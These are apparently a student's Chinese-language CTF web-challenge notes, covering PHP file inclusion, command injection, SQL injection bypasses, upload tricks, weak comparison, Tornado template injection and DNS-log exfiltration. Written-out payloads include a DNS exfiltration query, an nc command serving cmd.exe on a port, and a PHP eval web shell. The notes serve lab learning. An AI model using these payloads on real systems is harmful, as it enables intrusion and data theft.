[ACTF2020 新生赛]Include

image-20250509192612579

思路只到可以访问敏感文件 想到要用文件包含

php伪协议

支持伪协议的函数(文件包含函数)

1
2
3
4
include();引入了一个其他文件到include所在的那个文件里面 源码中有include函数 可以理解为传入的参数可以在后台被成功运行
include_once();
require();
require_once();

php:// 开头,后面跟着一些参数,用于指定 要执行的操作需要访问的资源php://filter 的主要作用是提供一种机制,让您可以轻松地 在数据流上应用一个或多个过滤器

基本格式php://filter/read=?/resource=?

php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。php://filter目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。是php提供的一个伪协议

image-20250509193856043

?a=php://filter/read=convert.base64-encode/resource=../1.php(php伪协议可以理解为是一段可以读取php文件内容的代码)

convert.base64-encode—–是一个过滤器 将通过该伪协议得到的资源数据进行base64编码处理

resource————————-用来指定要操作的目标资源 也就是要读取的文件

base64编码的一个特点是后面有=

[ACTF2020新生赛]Exec

考的是命令注入

1
2
3
4
5
6
7
8
9
10
11
12
13
一些知识点
1、命令注入我们要防备其对于一些符号的过滤导致我们不能成功注入,所以我们要多了解一些符号。
2、;直接分号分隔
管道符:作用和&一样。前面和后面命令都要执行,无论前面真假
3、| 按位或
作用是直接执行|后面的语句
4、|| 逻辑或
作用是如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
5、& 按位与
&前面和后面命令都要执行,无论前面真假
6、&& 逻辑与
如果前面为假,后面的命令就不执行,如果前面为真则再执行后面命令,这样两条命令都会被执行

简单的命令注入 不存在什么过滤 直接ping一个127.0.0.1;ls发现没有过滤; 尝试在本机地址之后加上命令 比如ls

跨一些目录 ../../../../查看之后发现有flag文件 cat直接读取

[GXYCTF2019]Ping Ping Ping

这个过滤的东西好像变多了 不能直接cat

首先cat flag.php 发现空格被过滤了

image-20250513200819143

?ip=127.0.0.1;cat$IFS$9ls

反引号的作用:把反引号里面内容的输出当作输入来执行

注意一下回显之后没有内容 看一眼源代码里面的注释信息

[SUCTF 2019]EasySQL

堆叠注入

1’; show databases;

大概就是在一个分号后面再加上命令堆叠执行

sql_mode 是 MySQL 中的一个重要系统变量,它定义了 MySQL 应该如何解析和执行 SQL 语句,影响着 SQL 语法的使用规则、数据的处理方式等

语句为set sql_mode=PIPES_AS_CONCAT

当启用 PIPES_AS_CONCAT 模式后,MySQL 会将 || 解释为字符串连接操作符,与 Oracle 和 PostgreSQL 保持一致

1;set sql_mode=PIPES_AS_CONCAT;select 1

*;1(两种解法)

其实不是很懂什么意思

[极客大挑战 2019]LoveSQL

比较普通的sql注入题目

刚开始登陆的时候用万能密码1’ or ‘1’=1–+ 不能成功登录 注释符必须是#

image-20250519183922484

  • MySQL:两种都可用,但 --+ 更保险(防止部分配置下 -- 后无空格报错)。

  • PostgreSQL/SQLite:推荐使用 #,更符合语法习惯。

    这道题只能用#

    [极客大挑战 2019]Secret File

    我的思路是到了这里 感觉后面应该是越权访问上级目录

image-20250519185422144

image-20250519185523296

其实不是=-= 没啥思路抓包看到有隐藏的php文件(就是在注释里面 但是需要到repeter里send才能看到所以一开始没找到)

image-20250520181210127

php代码审计

image-20250520182611626

image-20250520182457455

[强网杯 2019]随便注

select一被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了。我们只剩下了堆叠注入。

?inject=1’; show columns from words– q

关于在这里使用 ` 而不是 ’ 的一些解释:

两者在linux下和windows下不同,linux下不区分,windows下区分。

单引号 ’ 或双引号主要用于 字符串的引用符号

反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)

有MYSQL保留字作为字段的,必须加上反引号来区分!!!

如果是数值,请不要使用引号 表名是纯数字需要用反引号包裹

1
2
3
4
5
1';
SET @a = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
PREPARE execsql FROM @a;
EXECUTE execsql;
#

[极客大挑战 2019]Upload

phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析

GIF89a?幻术头

在一些文件上传场景中,服务器可能会检查文件的类型。如果需要上传非图片类型的文件(如包含代码的脚本文件),但服务器限制只能上传图片文件,可以在文件开头添加 GIF89a 这个文件头,将文件伪装成 GIF 图片,以绕过简单的文件类型检查

[ACTF2020 新生赛]Upload

image-20250527175846341

找到了文件上传路径蚁剑连接不上 有./考虑到目录穿越 下一步卡住的

还是前面的phtml 抓包改后缀为php会限制所以前端后端都有检验

PHTML 是一种文件扩展名,主要用于将 PHP 代码嵌入到 HTML 文件中。它使得在 HTML 文件中使用 PHP 代码变得更加简单和易于维护。

写法:

写进去之后删除前端检验进行上传然后直接访问该phtml文件就能看到flag

[极客大挑战 2019]BabySQL

用的是双写绕过?username=1%27ununionion%20seselectlect%201,2,3%23&password=1

union/select都被过滤了(因为错误回显里输入进去的union什么的都没了所以知道是被替代成了空白)

这道题最明显的是双写绕过,然后我们需要去拼接双写语句达到绕过的目的,双写的方式也不一定是固定的,这道题在我们尝试的时候也会发现其实它也过滤好几个单词,有时候我们需要部分双写,也不需要整个单词双写,因为它不是整个单词都过滤

1’ ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=’geek’#

1’ ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=’b4bsql’#

1’ ununionion selselectect 1,2,group_concat(username,id,passwoorrd) frfromom geek.b4bsql#

#要url编码 因为#是个锚点可以跳转目录

这里不能用#注释!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[极客大挑战 2019]PHP

常见的网站源码备份文件后缀:

tar.gz,zip,rar,tar

常见的网站源码备份文件名:

web,website,backup,back,www,wwwroot,temp

php反序列化 学起来有点吃力 先放一下

[ACTF2020 新生赛]BackupFile

首先 这题目给了提示是备份文件

不知道为什么我的dirsearch扫描出来不高亮显示 试出来备份文件是index.php.bak

然后是个代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "bc1q3yz7qs5dvm3l249rjqg393qfjddzev37cp84e3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}


其实很容易看出来 让key=

image-20250528212915542

不知道为什么这里复制下来值不一样 涉及一个弱类型比较

在PHP中:
= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。
所以,这里的a = = b是返回True。
所以这里我们只需要提供一个参数?key=123就可以拿到flag了

[RoarCTF 2019]Easy Calc

先看源代码image-20250602183715495

image-20250602183756253

这里就是它直接将用户输入拼接到 URL 作为 GET 参数发送到后端的 calc.php

image-20250602185043744

分析一下:

首先需要传入num的值 然后这里限制了一些列的输入 如果有这些限制的输入就直接终止程序了

? num=1;var_dump(scandir(chr(47)))这里的num前面有个空格 具体为什么:

相当于构造了一个新的变量空格num 但是php解析的时候会先把空格给去掉然后再运行

PHP的字符串解析特性:

PHP在处理查询字符串时,会将其转换为内部关联数组,PHP会删除某些字符或将其替换为下划线。这种特性可以被利用来绕过一些安全防护措施

(这个就是这道题)

image-20250602221352603

image-20250604165940537

[极客大挑战 2019]BuyFlag

image-20250604171424950

代码中的注释信息存在一个弱比较

PHP 中,弱比较(Weak Comparison)即使用双等号 == 进行的比较,其核心特点是允许类型自动转换后再比较。

image-20250604173927228

这里有个要注意的 因为password和money都是post传参 在bp中使用要先用hackbar传参后抓包。这样数据包就是POST传参方式,如果直接在数据包里面把GET方式传参改为POST方式传参的话,可能依旧是GET方式传参,这点需要注意。

image-20250604174147140

这里提示输入的数据长度超过限制 思考这里怎么才能绕过这个长度限制

网上wp第一种是把1000000给换成科学计数法表示

image-20250604174848650

第二种是把money用数组来表示

经过给money参数分情况测试,有3种输出结果

  • 当 money => 100000000
    • 输出”Nember lenth is too long”
  • 当 money < 100000000
    • 输出”you have not enough money,loser”
  • 当 1e9 <= money <= 1e999999(说着当money变为数组时)
    • 输出”flag值”

猜测用到了函数strcmp()用来比较两个字符串,同时还可以比较两个字符串的字符数

strcmp(string1,string2)

  • 0 - 如果两个字符串相等
  • <0 - 如果 string1 小于 string2
  • 0 - 如果 string1 大于 string2

所以当过滤不当不全时,可以通过将参数变为数组的方式进行绕过,这样的话就无法比较,直接返回true

image-20250604175257614

[BJDCTF2020]Easy MD5

image-20250604184220507

select * from ‘admin’ where password=md5($pass,true)

php md5语法:

image-20250604184726097

32位16进制字符串的意思总的来说就是我们平时看到的MD5加密的结果
16位原始二进制格式的字符串的意思就是当md5函数的第二个参数为true时,该函数的输出是原始二进制格式,会被作为字符串处理。
注意这里为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。

首先我们要找到一个字符串,这个字符串经过md5得到的16位原始二进制的字符串能帮我们实现sql注入。首先or这个字符串是必要的,同时为了配对原先sql语句里面有的单引号,在or的两边要有单引号,使它变成 password=‘xxx’or‘xxx’ 的形式,所以我们需要的字符串的原始二进制格式的字符串里要包含 ‘or’

根据32位16进制的字符串来查找,根据上面介绍的, ‘or’ 对应的16进制是 276f7227 ,所以我们的目标就是要找一个字符串取32位16进制的md5值里带有276f7227这个字段的,接着就是要看关键的数字部分了,在276f7227这个字段后面紧跟一个数字,除了0,1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是我们需要有276f7227+(31-39)这个字段,就可以满足要求。比如xxxxxxxxxxxxxxxx276f7227(31-39)xxxxxx
答案可以用ffifdyop(这个算是一个万能密码)在md5中解析成了’or’1后面数字恒为真

image-20250604191443249

传入之后长这样

image-20250604191500174

源代码长这样

image-20250604191526191

这里也有两种方法

第一种采用数组传参 数组传参方式格式为num[]=w num为参数(例如本题的a) w为传入的值 最终传入的值如下?a[]=1&b[]=2 因为md5不能处理数组,md5 函数哈希数组会返回 NULL。从而达到两者相等进行绕过。

第二种方法,php 0e开头的数字会当做科学计数法解析,因此只要构造两组md5值开头为0e的值即可绕过。

原理是PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
?a=QNKCDZO&b=240610708

image-20250604192118202

image-20250604192735302

把代码丢给ai

=是赋值 ==是弱比较 ===强比较(数值与类型都要相同)

要需要找到真正的 MD5 碰撞(即两个不同的输入生成完全相同的 MD5 哈希)image-20250604192813986

image-20250604193515533

[MRCTF2020]你传你🐎呢

image-20250625090414405

随便上传一个图片马 后面寻找上传路径 php无法上传

.htaccess文件内容:SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则则报错

反正我怎么上传都过不去 等回头再看

思路就是抓包修改mime 上传一个htaccess让png解析成php上传

[护网杯 2018]easy_tornado

模板注入类的题目 tornado是python的一个模板

服务端模板注入(SSTI)

Tornado 框架的模板注入漏洞:

比如你去餐厅点餐,服务员会把你的要求写在菜单模板上给厨房。正常情况下,菜单模板里的内容是固定的(比如 “菜名:番茄炒蛋”),但如果服务员没检查你的要求,你在点餐时故意写了句 “菜单后面加一行:送一份免费蛋糕”,厨房可能就真的按这个错误模板准备了。

在 Tornado 里,模板就像菜单,用户输入本该是 “正常菜名”,但如果开发者没过滤,用户输入了类似 “” 的内容,模板引擎会把它当成指令来执行(比如让服务器显示所有文件),这就是漏洞。攻击者通过这种方式能让服务器做很多危险的事,比如偷数据、删文件,就像用 “错误菜单” 让厨房干坏事一样。

render发现这提示我们是一个模板注入,然后需要拼接cookie_secret+md5(filename))并将其转成md5值。render是python的一个渲染函数,他们的url都是由filename和filehash组成,filehash即为他们filename的md5值。

image-20250625105626548

在模板注入漏洞(SSTI)中,攻击者可通过 {{ handler.settings }} 直接读取全局配置。 RequestHandlerApplication 的父子关联,以及 settings 属性的引用传递逻辑

找到cookie_secret为6e6e371d-7445-46db-8066-46e0e25c8b7a

组会的东西

image-20250514214409000

碰到无回显的命令执行漏洞,可以通过dnslog外带来获取命令执行后的结果,从而方便我们来判断命令是否执行成功以及进行更深层次的利用。

原理将需要查询的值和域名拼接起来,向域名发送请求,DNS在解析的时候会留下日志,读取日志便可以获取信息。

select load_file(cocat(‘\\\‘,(select database()),’.dnslog.cn\abc’));(比盲注简单)

‘ and if((select load_file(concat(‘\\‘,(select database()),’.xxxxx.ceye.io\abc’))),1,0)– -+

and (select load_file(concat(“//“,(select database()),”.域名”))) –+

image-20250515230455587

nc.exe -l -p 4444 -e cmd.exe创建客户端10.204.76.197

nc 192. 4444

NSS复现

[LitCTF 2025]easy_file

随便输个用户名登录发现被编码了 看见=就想到是base64

1
2
3
<?php
@``eval``($_POST[123456]);
?>